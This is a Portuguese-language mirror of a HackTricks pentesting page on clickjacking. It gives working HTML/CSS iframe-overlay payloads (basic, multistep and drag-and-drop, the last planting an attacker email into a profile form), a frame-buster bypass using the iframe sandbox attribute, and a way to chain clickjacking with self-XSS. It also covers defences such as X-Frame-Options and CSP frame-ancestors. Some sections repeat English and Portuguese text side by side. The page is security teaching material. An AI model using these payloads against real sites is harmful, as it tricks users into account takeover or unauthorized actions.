mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-30 06:53:11 +00:00
214 lines
16 KiB
Markdown
214 lines
16 KiB
Markdown
# Clickjacking
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
\
|
|
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
|
Obtenha acesso hoje:
|
|
|
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
|
|
|
## O que é Clickjacking
|
|
|
|
Clickjacking é um ataque que **enganar** um **usuário** para **clicar** em um **elemento** de uma página da web que é **invisível** ou disfarçado como outro elemento. Isso pode fazer com que os usuários inadvertidamente baixem malware, acessem páginas da web maliciosas, forneçam credenciais ou informações sensíveis, transfiram dinheiro ou comprem produtos online. (De [aqui](https://www.imperva.com/learn/application-security/clickjacking/)).
|
|
|
|
### Truque de preencher formulários
|
|
|
|
Às vezes é possível **preencher o valor dos campos de um formulário usando parâmetros GET ao carregar uma página**. Um atacante pode abusar desse comportamento para preencher um formulário com dados arbitrários e enviar a carga útil de clickjacking para que o usuário pressione o botão Enviar.
|
|
|
|
### Preencher formulário com Arrastar e Soltar
|
|
|
|
Se você precisa que o usuário **preencha um formulário** mas não quer pedir diretamente a ele para escrever algumas informações específicas (como o e-mail e/ou senha específica que você conhece), você pode simplesmente pedir a ele para **Arrastar e Soltar** algo que escreverá seus dados controlados como neste [**exemplo**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
|
|
|
|
### Payload básico
|
|
```markup
|
|
<style>
|
|
iframe {
|
|
position:relative;
|
|
width: 500px;
|
|
height: 700px;
|
|
opacity: 0.1;
|
|
z-index: 2;
|
|
}
|
|
div {
|
|
position:absolute;
|
|
top:470px;
|
|
left:60px;
|
|
z-index: 1;
|
|
}
|
|
</style>
|
|
<div>Click me</div>
|
|
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
|
|
```
|
|
### Carga Única em Vários Passos
|
|
|
|
Clickjacking attacks can be made more effective by using a multistep payload. In a multistep payload, the attacker divides the malicious action into multiple steps, each triggered by a separate click event. This technique can help bypass certain security measures that may be in place to detect and prevent clickjacking attacks.
|
|
|
|
To implement a multistep payload, the attacker first identifies the target action they want to perform on the victim's behalf. This could be anything from submitting a form to making a purchase. The attacker then breaks down this action into smaller steps, each of which can be triggered by a separate click event.
|
|
|
|
For example, let's say the target action is submitting a form. The attacker can divide this action into three steps: filling out the form, clicking the submit button, and confirming the submission. Each step is triggered by a separate click event, and the attacker can use various techniques to hide these clicks from the victim.
|
|
|
|
By using a multistep payload, the attacker can make the clickjacking attack more covert and increase the chances of successfully executing the malicious action. It is important for developers and security professionals to be aware of this technique and implement appropriate measures to mitigate the risk of clickjacking attacks.
|
|
```markup
|
|
<style>
|
|
iframe {
|
|
position:relative;
|
|
width: 500px;
|
|
height: 500px;
|
|
opacity: 0.1;
|
|
z-index: 2;
|
|
}
|
|
.firstClick, .secondClick {
|
|
position:absolute;
|
|
top:330px;
|
|
left:60px;
|
|
z-index: 1;
|
|
}
|
|
.secondClick {
|
|
left:210px;
|
|
}
|
|
</style>
|
|
<div class="firstClick">Click me first</div>
|
|
<div class="secondClick">Click me next</div>
|
|
<iframe src="https://vulnerable.net/account"></iframe>
|
|
```
|
|
### Carga de Arrastar e Soltar + Clique
|
|
|
|
Clickjacking can be combined with other techniques to create more sophisticated attacks. One such combination is the Drag & Drop + Click payload. This technique takes advantage of the user's interaction with draggable elements on a webpage.
|
|
|
|
Clickjacking pode ser combinado com outras técnicas para criar ataques mais sofisticados. Uma dessas combinações é a carga de Arrastar e Soltar + Clique. Essa técnica aproveita a interação do usuário com elementos arrastáveis em uma página da web.
|
|
|
|
The attacker first creates a malicious webpage that contains a draggable element, such as an image or a button. When the user visits this webpage, they may be enticed to interact with the draggable element.
|
|
|
|
O atacante primeiro cria uma página da web maliciosa que contém um elemento arrastável, como uma imagem ou um botão. Quando o usuário visita essa página da web, ele pode ser incentivado a interagir com o elemento arrastável.
|
|
|
|
Once the user starts dragging the element, the attacker's webpage uses JavaScript to overlay an invisible iframe on top of a target webpage. The iframe is positioned in such a way that when the user releases the draggable element, they inadvertently click on a hidden button or perform an action on the target webpage without their knowledge.
|
|
|
|
Assim que o usuário começa a arrastar o elemento, a página da web do atacante usa JavaScript para sobrepor um iframe invisível em cima de uma página da web alvo. O iframe é posicionado de tal forma que, quando o usuário solta o elemento arrastável, ele inadvertidamente clica em um botão oculto ou realiza uma ação na página da web alvo sem o seu conhecimento.
|
|
|
|
This technique can be used to perform various malicious actions, such as submitting forms, making unauthorized transactions, or even changing the user's account settings.
|
|
|
|
Essa técnica pode ser usada para realizar várias ações maliciosas, como enviar formulários, fazer transações não autorizadas ou até mesmo alterar as configurações da conta do usuário.
|
|
```markup
|
|
<html>
|
|
<head>
|
|
<style>
|
|
#payload{
|
|
position: absolute;
|
|
top: 20px;
|
|
}
|
|
iframe{
|
|
width: 1000px;
|
|
height: 675px;
|
|
border: none;
|
|
}
|
|
.xss{
|
|
position: fixed;
|
|
background: #F00;
|
|
}
|
|
</style>
|
|
</head>
|
|
<body>
|
|
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
|
|
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
|
|
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
|
|
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
|
|
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
|
|
</body>
|
|
</html>
|
|
```
|
|
### XSS + Clickjacking
|
|
|
|
Se você identificou um ataque **XSS que requer que o usuário clique** em algum elemento para **acionar** o XSS e a página é **vulnerável a clickjacking**, você pode abusar disso para enganar o usuário a clicar no botão/link.\
|
|
Exemplo:\
|
|
_Você encontrou um **self XSS** em alguns detalhes privados da conta (detalhes que **apenas você pode definir e ler**). A página com o **formulário** para definir esses detalhes é **vulnerável** a **Clickjacking** e você pode **preencher** o **formulário** com os parâmetros GET._\
|
|
\_\_Um atacante poderia preparar um ataque de **Clickjacking** para aquela página, **preenchendo** o **formulário** com o **payload XSS** e **enganando** o **usuário** a **enviar** o formulário. Assim, **quando o formulário for enviado** e os valores forem modificados, o **usuário executará o XSS**.
|
|
|
|
## Como evitar o Clickjacking
|
|
|
|
### Defesas do lado do cliente
|
|
|
|
É possível executar scripts no lado do cliente que realizam alguns ou todos os seguintes comportamentos para evitar o Clickjacking:
|
|
|
|
* verificar e garantir que a janela de aplicativo atual seja a janela principal ou superior,
|
|
* tornar todos os frames visíveis,
|
|
* impedir o clique em frames invisíveis,
|
|
* interceptar e sinalizar possíveis ataques de clickjacking para um usuário.
|
|
|
|
#### Bypass
|
|
|
|
Como os bloqueadores de frames são JavaScript, as configurações de segurança do navegador podem impedir sua operação ou até mesmo o navegador pode não suportar JavaScript. Uma solução eficaz para contornar os bloqueadores de frames é usar o **atributo `sandbox` do iframe do HTML5**. Quando isso é definido com os valores `allow-forms` ou `allow-scripts` e o valor `allow-top-navigation` é omitido, o script do bloqueador de frames pode ser neutralizado, pois o iframe não pode verificar se é ou não a janela superior:
|
|
```markup
|
|
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
|
|
```
|
|
Tanto os valores `allow-forms` quanto `allow-scripts` permitem as ações especificadas dentro do iframe, mas a navegação de nível superior é desativada. Isso inibe comportamentos de quebra de frame, permitindo ao mesmo tempo a funcionalidade dentro do site-alvo.
|
|
|
|
Dependendo do tipo de ataque de Clickjacking realizado, **você também pode precisar permitir**: `allow-same-origin` e `allow-modals` ou [ainda mais](https://www.w3schools.com/tags/att\_iframe\_sandbox.asp). Ao preparar o ataque, verifique o console do navegador, pois ele pode informar quais outros comportamentos você precisa permitir.
|
|
|
|
### X-Frame-Options
|
|
|
|
O cabeçalho de resposta HTTP **`X-Frame-Options`** pode ser usado para indicar se um navegador deve ou não **permitir** a renderização de uma página em um `<frame>` ou `<iframe>`. Os sites podem usar isso para evitar ataques de Clickjacking, garantindo que **seu conteúdo não seja incorporado em outros sites**. Defina o cabeçalho **`X-Frame-Options`** para todas as respostas que contêm conteúdo HTML. Os valores possíveis são:
|
|
|
|
* `X-Frame-Options: deny`, que **impede que qualquer domínio incorpore o conteúdo** _(valor recomendado)_
|
|
* `X-Frame-Options: sameorigin`, que permite apenas que o **site atual** incorpore o conteúdo.
|
|
* `X-Frame-Options: allow-from https://trusted.com`, que **permite que o 'uri' especificado** incorpore esta página.
|
|
* Verifique as limitações abaixo, pois **isso falhará se o navegador não o suportar**.
|
|
* Outros navegadores suportam a nova diretiva **CSP frame-ancestors**. Alguns suportam ambos.
|
|
|
|
### Diretiva frame-ancestors da Política de Segurança de Conteúdo (CSP)
|
|
|
|
A proteção recomendada contra Clickjacking é incorporar a diretiva **`frame-ancestors`** na Política de Segurança de Conteúdo da aplicação.\
|
|
A diretiva **`frame-ancestors 'none'`** é semelhante ao comportamento da diretiva **X-Frame-Options `deny`** (_Ninguém pode incorporar a página_).\
|
|
A diretiva **`frame-ancestors 'self'`** é amplamente equivalente à diretiva **X-Frame-Options `sameorigin`** (_apenas o site atual pode incorporá-lo_).\
|
|
A diretiva **`frame-ancestors trusted.com`** é amplamente equivalente à diretiva **X-Frame-Options** `allow-from` (_apenas o site confiável pode incorporá-lo_).
|
|
|
|
A seguinte CSP permite apenas frames do mesmo domínio:
|
|
|
|
`Content-Security-Policy: frame-ancestors 'self';`
|
|
|
|
Consulte a documentação a seguir para obter mais detalhes e exemplos mais complexos:
|
|
|
|
* [https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors)
|
|
* [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors)
|
|
|
|
### Limitações <a href="#limitations" id="limitations"></a>
|
|
|
|
* **Compatibilidade com navegadores:** O CSP frame-ancestors ainda não é suportado por todos os principais navegadores.
|
|
* **X-Frame-Options tem prioridade:** A seção "Relação com X-Frame-Options" da especificação CSP diz: "_Se um recurso for entregue com uma política que inclua uma diretiva chamada frame-ancestors e cuja disposição seja 'enforce', o cabeçalho X-Frame-Options DEVE ser ignorado_", mas o Chrome 40 e o Firefox 35 ignoram a diretiva frame-ancestors e seguem o cabeçalho X-Frame-Options.
|
|
|
|
## Referências
|
|
|
|
* [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
|
|
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html)
|
|
|
|
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
\
|
|
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para criar e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
|
Acesse hoje mesmo:
|
|
|
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo Telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|